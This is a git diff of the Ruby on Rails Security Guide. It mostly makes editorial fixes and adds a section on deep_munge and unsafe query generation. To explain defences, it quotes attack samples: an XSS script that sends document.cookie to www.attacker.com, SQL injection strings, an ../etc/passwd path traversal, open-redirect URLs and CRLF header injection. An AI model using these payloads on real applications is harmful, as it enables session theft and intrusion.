+There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since `XMLHttpRequest` is subject to the browser Same-Origin policy - meaning only your site can initiate the request.
+
+To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications:
 
 ```ruby
-protect_from_forgery secret: "123456789012345678901234567890..."
+protect_from_forgery with: :exception
 ```
 
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
+This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.
+
+NOTE: By default, Rails includes jQuery and an [unobtrusive scripting adapter for
+jQuery](https://github.com/rails/jquery-ujs), which adds a header called
+`X-CSRF-Token` on every non-GET Ajax call made by jQuery with the security token.
+Without this header, non-GET Ajax requests won't be accepted by Rails. When using
+another library to make Ajax calls, it is necessary to add the security token as
+a default header for Ajax calls in your library. To get the token, have a look at
+`<meta name='csrf-token' content='THE-TOKEN'>` tag printed by
+`<%= csrf_meta_tags %>` in your application view.
 
 It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
 
 ```ruby
-def handle_unverified_request
-  super
-  sign_out_user # Example method that will destroy the user cookies.
+rescue_from ActionController::InvalidAuthenticityToken do |exception|
+  sign_out_user # Example method that will destroy the user cookies
 end
 ```
 
-The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request.
 
-Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later.
 
 Redirection and Files
 ---------------------
@@ -258,7 +277,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
 
 ### Redirection
 
-WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
 
 Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
 
@@ -268,7 +287,7 @@ def legacy
 end
 ```
 
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if he includes a host key in the URL:
+This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
 
 ```
 http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
@@ -290,7 +309,7 @@ NOTE: _Make sure file uploads don't overwrite important files, and process media
 
 Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
 
-When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
 
 ```ruby
 def sanitize_filename(filename)
@@ -305,7 +324,7 @@ def sanitize_filename(filename)
 end
 ```
 
-A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
 
 The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
 
@@ -352,11 +371,11 @@ Having one single place in the admin interface or Intranet, where the input has
 
 Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
 
-**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
 
-A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
 
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

 
 Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
 
@@ -366,7 +385,7 @@ For _countermeasures against CSRF in administration interfaces and Intranet appl
 
 The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
 
-* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
+* It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
 
 * Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
 
@@ -379,7 +398,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
 
 There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
 
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
 
 ```
 http://localhost:3006/user/activate
@@ -398,7 +417,7 @@ If the parameter was nil, the resulting SQL query will be
 SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
 ```
 
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
 
 ### Brute-Forcing Accounts
 
@@ -418,24 +437,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
 
 #### Passwords
 
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
 
 #### E-Mail
 
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
 
 #### Other
 
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
 
 ### CAPTCHAs
 
-INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
 
 But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
 
 You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
 
 Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
 
@@ -447,7 +466,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
 
 The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
 
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:)
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
 
 * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
 * Randomize the field names
@@ -469,7 +488,7 @@ config.filter_parameters << :password
 
 INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
 
-Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned [below](#examples-from-the-underground). It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
 
 password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
 
@@ -481,7 +500,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu
 
 INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
 
-Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
 
 ```ruby
   /^https?:\/\/[^\n]+$/i
@@ -528,7 +547,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
 @project = Project.find(params[:id])
 ```
 
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
 
 ```ruby
 @project = @current_user.projects.find(params[:id])
@@ -547,7 +566,7 @@ Injection is very tricky, because the same code or parameter can be malicious in
 
 ### Whitelists versus Blacklists
 
-NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
+NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
 
 A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
 
@@ -571,7 +590,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
 Project.where("name = '#{params[:name]}'")
 ```
 
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
 
 ```sql
 SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -581,7 +600,7 @@ The two dashes start a comment ignoring everything after it. So the query return
 
 #### Bypassing Authorization
 
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
 
 ```ruby
 User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -622,7 +641,7 @@ Also, the second query renames some columns with the AS statement so that the we
 
 #### Countermeasures
 
-Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>.
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
 
 Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
 
@@ -679,7 +698,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
 <script>document.write(document.cookie);</script>
 ```
 
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
 
 ```html
 <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -724,7 +743,7 @@ Imagine a blacklist deletes "script" from the user input. Now the attacker injec
 strip_tags("some<<b>script>alert('hello')<</b>/script>")
 ```
 
-This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():
 
 ```ruby
 tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
@@ -733,7 +752,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title))
 
 This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
 
-As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin_. SafeErb reminds you to escape strings from external sources.
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources.
 
 ##### Obfuscation and Encoding Injection
 
@@ -760,7 +779,7 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec
 
 The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
 
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
 
 In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
 
@@ -804,7 +823,7 @@ The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS pr
 
 #### Countermeasures
 
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
 
 ### Textile Injection
 
@@ -839,7 +858,7 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_
 
 NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
 
-If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
 
 ### Command Line Injection
 
@@ -888,7 +907,7 @@ HTTP/1.1 302 Moved Temporarily
 Location: http://www.malicious.tld
 ```
 
-So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
 
 #### Response Splitting
 
@@ -913,6 +932,49 @@ Content-Type: text/html
 
 Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
 
+Unsafe Query Generation
+-----------------------
+
+Due to the way Active Record interprets parameters in combination with the way
+that Rack parses query parameters it was possible to issue unexpected database
+queries with `IS NULL` where clauses. As a response to that security issue
+([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),
+[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ)
+and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ))
+`deep_munge` method was introduced as a solution to keep Rails secure by default.
+
+Example of vulnerable code that could be used by attacker, if `deep_munge`
+wasn't performed is:
+
+```ruby
+unless params[:token].nil?
+  user = User.find_by_token(params[:token])
+  user.reset_password!
+end
+```
+
+When `params[:token]` is one of: `[nil]`, `[nil, nil, ...]` or
+`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or
+`IN ('foo', NULL)` where clauses still will be added to the SQL query.
+
+To keep rails secure by default, `deep_munge` replaces some of the values with
+`nil`. Below table shows what the parameters look like based on `JSON` sent in
+request:
+
+| JSON                              | Parameters               |
+|-----------------------------------|--------------------------|
+| `{ "person": null }`              | `{ :person => nil }`     |
+| `{ "person": [] }`                | `{ :person => [] }`     |
+| `{ "person": [null] }`            | `{ :person => [] }`     |
+| `{ "person": [null, null, ...] }` | `{ :person => [] }`     |
+| `{ "person": ["foo", null] }`     | `{ :person => ["foo"] }` |
+
+It is possible to return to old behaviour and disable `deep_munge` configuring
+your application if you are aware of the risk and know how to handle it:
+
+```ruby
+config.action_dispatch.perform_deep_munge = false
+```
 
 Default Headers
 ---------------
@@ -951,7 +1013,7 @@ _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at
 * X-Content-Type-Options
 _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
 * X-Content-Security-Policy
-[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html)
+[A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
 * Access-Control-Allow-Origin
 Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
 * Strict-Transport-Security
@@ -960,14 +1022,13 @@ Used to control which sites are allowed to bypass same origin policies and send
 Environmental Security
 ----------------------
 
-It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
 
 Additional Resources
 --------------------
 
 The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
 
-* The Ruby on Rails security project posts security news regularly: [http://www.rorsecurity.info](http://www.rorsecurity.info)
 * Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security)
 * [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too)
 * A [good security blog](http://ha.ckers.org/blog/) including the [Cross-Site scripting Cheat Sheet](http://ha.ckers.org/xss.html)
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 1b0a0abf9a..625f366db1 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 A Guide to Testing Rails Applications
 =====================================
 
@@ -29,11 +31,13 @@ Testing support was woven into the Rails fabric from the beginning. It wasn't an
 
 By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.
 
-A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases.
+A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases.
+
+Also, each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in `config/environments/test.rb`.
 
 ### Rails Sets up for Testing from the Word Go
 
-Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this folder then you shall see:
+Rails creates a `test` directory for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this directory then you shall see:
 
 ```bash
 $ ls -F test
@@ -41,15 +45,17 @@ controllers/    helpers/        mailers/        test_helper.rb
 fixtures/       integration/    models/
 ```
 
